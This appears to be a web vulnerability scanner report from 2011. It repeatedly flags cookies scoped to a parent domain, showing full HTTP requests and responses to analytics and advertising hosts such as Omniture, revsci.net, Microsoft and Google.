HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:16 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAC[CE]; Expires=Mon, 1 Feb 2016 19:21:16 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s11877967668697?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:16 GMT Last-Modified: Thu, 03 Feb 2011 19:21:16 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www1 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAC[CE]; Expires=Mon, 1 Feb 2016 19:21:16 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s17696109912358 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:16 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAC[CE]; Expires=Mon, 1 Feb 2016 19:21:16 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s17696109912358?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:16 GMT Last-Modified: Thu, 03 Feb 2011 19:21:16 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www30 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAD[CE]; Expires=Mon, 1 Feb 2016 19:21:17 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s21560784257017 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:17 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAD[CE]; Expires=Mon, 1 Feb 2016 19:21:17 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s21560784257017?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:17 GMT Last-Modified: Thu, 03 Feb 2011 19:21:17 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www27 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAE[CE]; Expires=Mon, 1 Feb 2016 19:21:18 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s23100360115058 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:18 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAE[CE]; Expires=Mon, 1 Feb 2016 19:21:18 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s23100360115058?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:18 GMT Last-Modified: Thu, 03 Feb 2011 19:21:18 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www19 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAD[CE]; Expires=Mon, 1 Feb 2016 19:21:17 GMT; Domain=.omtrdc.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s23355576898902 HTTP/1.1 Host: omniture.d1.sc.omtrdc.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: s_vi=[CS]v1|26A4BD650507A9BE-60000103A0064D41[CE];
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:17 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_dfebx7Fx7Eynhdf=[CS]v4|0-0|4D49AEAD[CE]; Expires=Mon, 1 Feb 2016 19:21:17 GMT; Domain=.omtrdc.net; Path=/ Location: http://omniture.d1.sc.omtrdc.net/b/ss/omniturecom,omnitureall,omniturecomdev,omniturecomemea,omnitureapac,omniturenoncustomer,omniturecomen/1/H.19.3/s23355576898902?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:17 GMT Last-Modified: Thu, 03 Feb 2011 19:21:17 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www25 Content-Length: 0 Content-Type: text/plain Connection: close
The following cookie was issued by the application and is scoped to a parent of the issuing domain:
s_vi_x60bafx7Bzx7Djmnaajx7Dx7C=[CS]v4|0-0|4D49AEAF[CE]; Expires=Mon, 1 Feb 2016 19:21:19 GMT; Domain=.2o7.net; Path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /b/ss/omniturebanners/1/H.9--NS/0 HTTP/1.1 Host: omniturebanners.112.2o7.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Found Date: Wed, 02 Feb 2011 19:21:19 GMT Server: Omniture DC/2.0.0 Set-Cookie: s_vi_x60bafx7Bzx7Djmnaajx7Dx7C=[CS]v4|0-0|4D49AEAF[CE]; Expires=Mon, 1 Feb 2016 19:21:19 GMT; Domain=.2o7.net; Path=/ Location: https://omniturebanners.112.2o7.net/b/ss/omniturebanners/1/H.9--NS/0?AQB=1&pccr=true&g=none&AQE=1 X-C: ms-4.3.1 Expires: Tue, 01 Feb 2011 19:21:19 GMT Last-Modified: Thu, 03 Feb 2011 19:21:19 GMT Cache-Control: no-cache, no-store, must-revalidate, max-age=0, proxy-revalidate, no-transform, private Pragma: no-cache P3P: policyref="/w3c/p3p.xml", CP="NOI DSP COR NID PSA OUR IND COM NAV STA" xserver: www20 Content-Length: 0 Content-Type: text/plain Connection: close
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /en-us/bing/ff808490.aspx HTTP/1.1 Host: onlinehelp.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: A=I&I=AxUFAAAAAADvBwAAMWItHgFApdkzxQaDuho8RA!!&M=1; domain=.microsoft.com; expires=Sat, 02-Feb-2041 15:38:20 GMT; path=/ Set-Cookie: ADS=SN=175A21EF; domain=.microsoft.com; path=/ Set-Cookie: ixpLightBrowser=0; domain=.microsoft.com; expires=Sat, 02-Feb-2041 15:38:20 GMT; path=/ P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Wed, 02 Feb 2011 15:38:19 GMT Content-Length: 34741
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id= ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /en-us/msn/thebasics.aspx HTTP/1.1 Host: onlinehelp.microsoft.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Cache-Control: private Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/7.5 X-AspNet-Version: 4.0.30319 Set-Cookie: A=I&I=AxUFAAAAAAB9BwAAv+cg4N9BcsGpzhmgViEJWQ!!&M=1; domain=.microsoft.com; expires=Sat, 02-Feb-2041 15:38:20 GMT; path=/ Set-Cookie: ADS=SN=175A21EF; domain=.microsoft.com; path=/ Set-Cookie: ixpLightBrowser=0; domain=.microsoft.com; expires=Sat, 02-Feb-2041 15:38:20 GMT; path=/ P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Date: Wed, 02 Feb 2011 15:38:19 GMT Content-Length: 21044
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head id= ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /lh/view HTTP/1.1 Host: picasaweb.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Expires: Tue, 01 Feb 2011 15:37:02 GMT Date: Tue, 01 Feb 2011 15:37:02 GMT Cache-Control: private, max-age=0, must-revalidate Set-Cookie: _rtok=qlLRwQUXMinW; Path=/; HttpOnly Set-Cookie: S=photos_html=6NXM3fXR2MZvZJyQlq6Ntg; Domain=.google.com; Path=/; HttpOnly Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"></meta> <title>404 NOT_FOUND</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A ...[SNIP]...
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /lh/view HTTP/1.1 Host: picasaweb.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 404 Not Found Expires: Tue, 01 Feb 2011 15:37:03 GMT Date: Tue, 01 Feb 2011 15:37:03 GMT Cache-Control: private, max-age=0, must-revalidate Set-Cookie: _rtok=XpHedKSTpGC1; Path=/; Secure; HttpOnly Set-Cookie: S=photos_html=HabRy8TtYMirRpvtu_aMGg; Domain=.google.com; Path=/; Secure; HttpOnly Content-Type: text/html; charset=UTF-8 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Connection: close
<html><head> <meta http-equiv="content-type" content="text/html;charset=utf-8"></meta> <title>404 NOT_FOUND</title> <style><!-- body {font-family: arial,sans-serif} div.nav {margin-top: 1ex} div.nav A ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/102504215.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXSkPATW+Mer9duzVms/XJMQ; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw65LCF+BTCGI0VkQ0a9c=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 15:39:23 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e64ab&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 15:39:23 GMT; Path=/ X-Proc-ms: 2 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 15:39:22 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/1084292.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mqnxmVeJWtwf0wDT7Fu8GN7lxE/BcVKzkXakvIXV+cer9duzVms/DJMc; NETSEGS_G07610=0105974ea67d21e1&G07610&0&4d631e10&0&&4d3d330b&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMdIz9HMAYU1E2E9n2ISiO7LH9AdCZB8/1a2KTS3G5aZx/NZi+P8cW2My/DwFExss6o41Rb1frll4heX/wIlF9+5hutyLzGGJeqWQ+EtLTv6NPkfin9gOJr1fis6gF32mRyjYPB+ZWxeJb5RBOlBE9ZcPm0s9GPlU+kU3cJNpFiJhrTEEyRwyqsBVplUzoVSbJzTvXGpU9ndRFrT42Z2rhCsTZ545aurI27EmHe3foKpOjQUfG7FP2sNsmL+vKE5LSewa8YlG2A78XL0sy4wFL2WuXW4j/XgUAsZAAonTG4h4hLSnwuTgXjiQ3XBglP6wa82rCzMFCioNtC1wGYnNHJIs1WzZyVbuNSl73Xje6dpjaJ9d4yT92rVBJjViaEnqpCfi44qaHMM2Ip1FswSfCzkAryte7FZO5U2Gi1DiNtRj19L5DNXH9t2rVQa/SPDZjwvfG0+tfOoqOtbT6ehHegFo62Z1+7d0hcUsUiLyzZ70sOogCTx2W1NAR0rfIwVzb2cLrFrGQwny8+T957xMpFQsmf12hkmcv4vjxgee/nx3K8q5XuvI2gm2GtT4q9FOutkDvDxbGOb97wmamFimMU41hfEDMGi3Lk+6TsHF/iRUMm5BDMhDtVcdsuCfM5ORhQyoZ726Z0+7YvTqoDqkDV5gEbmIyzQrW6TwZlzb00UdtjPl0+snH0If9z10LpIaeG+9b2bsOpyOBNhc5AAWBVLwcP71OoYBjKPlnOAt5Y21ydGkg9Ez+ZtKF9Zpx1NFJV8MNLq1fJ2zg4CmhIddlR6FKQuQTb6RiE4tr2EdcFzD9ZZFi7HeK45WqywA2b8ANKBW1pBZpbaR1litt4B5OoA/shRe7BS364p/6UTjV0Cv6Bv9j/LKmWG42JJrO39plBORNaspZNL0SmbfNCgpycmTxHQ2sA0yhkzT/vH6Vz8gNy4wwD7D2CUGOXMweyApFWXPYMtH74zy4AOcVL/6eXvGKSE6wn4YOTy+5z77OqnOVR57KDxoL5JYiPBHyQPu3jqvk+Y//pbzu0SLAf1kBgS7w0mVpfe2Tu9KeCmh4D7T/Bg+eSemdp5s/lJtLZjkzKlP1V1FI8dJ83UV0sRxhmd86EHax0CT+OVVonD+RasYP7/Fhmt7+azm4WQCcubjdd2RKgHIfX347bSApoJ+ydExP3QuS1/wv/BereoJGU2W5hq3ssqKRgiJ0pEZ9RM7U8Wxj20WQc0I7faLudXZXKkMIn3zZArcWZYLFinHAsa3eMtlIkw1Oqh4fwtpbP; NETSEGS_A06546=0105974ea67d21e1&A06546&0&4d69a909&0&&4d439426&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBM44HAVzDEFZDcsKR1+BMtq9Qy3TJceL+0OcrqWduR/0lqQ==; NETSEGS_K04491=0105974ea67d21e1&K04491&0&4d6e5eee&0&&4d465115&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d6e5ec7&0&&4d4646af&4c5cffb70704da9ab1f721e8ae18383d; NETSEGS_F08747=12bcf06b3b0e70c4&F08747&0&4d6e5e81&0&&4d4637e7&bf058458ea0db79cf343e4719eee87c6; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d6e5eac&0&&4d4662c3&4c5cffb70704da9ab1f721e8ae18383d;
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Set-Cookie: rsi_segs_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_segs_1000000=pUPDROROmfuIUoJyvOzCVgy/pjEkjhdzYx4wYfYjr0QZgJEHJs08tRf8WcUuLrQAFxcySqgq4lBtLUIX15E3bLwvfkI4mh2y3J7gB1NTNwT8g7lTtVTtlUQIhMYnpSDw69OD9iATaSM0VkT/a+o=; Domain=.revsci.net; Expires=Thu, 02-Feb-2012 19:21:25 GMT; Path=/ Set-Cookie: NETSEGS_G07610=12bcf06b3b0e70c4&G07610&0&4d6e98b5&0&&4d464cb2&bf058458ea0db79cf343e4719eee87c6; Domain=.revsci.net; Expires=Wed, 02-Mar-2011 19:21:25 GMT; Path=/ X-Proc-ms: 1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Server: RSI Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Content-Type: text/javascript;charset=UTF-8 Content-Length: 703 Date: Wed, 02 Feb 2011 19:21:25 GMT Connection: close
/* Vermont-12.4.0-1012 */ rsinetsegs=['F08747_10107','F08747_10095']; var rsiExp=new Date((new Date()).getTime()+2419200000); var rsiDom=location.hostname; rsiDom=rsiDom.replace(/.*(\.[\w\-]+\.[a-zA-Z ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /F08747/b3/0/3/1003161/114261376.js HTTP/1.1 Host: pix04.revsci.net Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: udm_0=MLvv7qPvYS5npS5IdtJQSpvhPw1xdhVUjBbpU3lJNuJJjrMFZ2Nq9VW0Wyy3ISZ5NO+MmP9FlSyoQw8mvWSHpPLJ1ngG9DATUx02q3F9jFyZqD077+Us3IKBcnnEE5XwdejqXpJAZPwNSFXg0uCWwyYQdlxZpijKrbF7cCvCoMYDTktERxIxSZZcDt8MjuJZ+W4TPaIPrq7nNd0flh2LluQS43FREiqbZBDbJe3Y/jSE1FU4KxKFeyAHidFnlHTh8CY7/9O6tRnqrJq22sxU/yTe6grWk5jenBAXIYJ1bUF4lqEcdlwQaNi98F38q8o9V3L0pMaQODi+TW0+bz3ALn1b+T7f3V7o0K7wUXxvw1OcUQqqv8/a0p6ptjD0Lu0PpxvLzjJ9VEsQsXgttwYzWyq1u6gQ3s8OnOTraQkO26fOHecRUPM7YxFYfZ8Qz+d3/Czf6/YytLwZhcMx4RHxCiqH+YQd+1ZVZtz4VgrCVFWWM4cD0Tpp1KPgYL7P3px5TrVyAQj0piQ2GkHnf+7p4LZvwlW4wnyepfzPy9HPhpNamRaQebRgo4I=; NETSEGS_H05525=0105974ea67d21e1&H05525&0&4d631d1f&0&&4d3d3a07&4c5cffb70704da9ab1f721e8ae18383d; NETID01=TUl0fhIBEwoAAAIMqhQAAAAr; NETSEGS_B08725=0105974ea67d21e1&B08725&0&4d656938&0&&4d3f9d13&4c5cffb70704da9ab1f721e8ae18383d; 